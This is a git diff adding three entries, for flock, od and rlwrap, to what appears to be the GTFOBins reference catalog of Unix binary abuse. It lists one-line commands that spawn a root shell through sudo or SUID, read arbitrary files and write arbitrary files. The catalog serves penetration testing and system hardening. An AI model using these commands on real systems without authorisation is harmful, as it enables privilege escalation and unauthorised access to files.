diff --git a/_gtfobins/flock.md b/_gtfobins/flock.md new file mode 100644 index 0000000..a49cef1 --- /dev/null +++ b/_gtfobins/flock.md @@ -0,0 +1,9 @@ +--- +functions: + execute-interactive: + - code: flock /tmp /bin/sh + sudo-enabled: + - code: sudo flock /tmp /bin/sh + suid-enabled: + - code: ./flock /tmp /bin/sh -p +--- diff --git a/_gtfobins/od.md b/_gtfobins/od.md new file mode 100644 index 0000000..c06800e --- /dev/null +++ b/_gtfobins/od.md @@ -0,0 +1,9 @@ +--- +description: | + Three spaces are added before each character in the read file, and + non-printable chars are printed as backslash escape sequences. +functions: + file-read: + - code: | + LFILE=file_to_read + od -An -c -w9999 "$LFILE" diff --git a/_gtfobins/rlwrap.md b/_gtfobins/rlwrap.md new file mode 100644 index 0000000..cfadc84 --- /dev/null +++ b/_gtfobins/rlwrap.md @@ -0,0 +1,14 @@ +--- +functions: + execute-interactive: + - code: rlwrap /bin/sh + sudo-enabled: + - code: sudo rlwrap /bin/sh + suid-enabled: + - code: ./rlwrap -H /tmp/y /bin/sh -p + file-write: + - description: This adds timestamps to the output file. + code: | + LFILE=file_to_write + rlwrap -l "$LFILE" echo data +---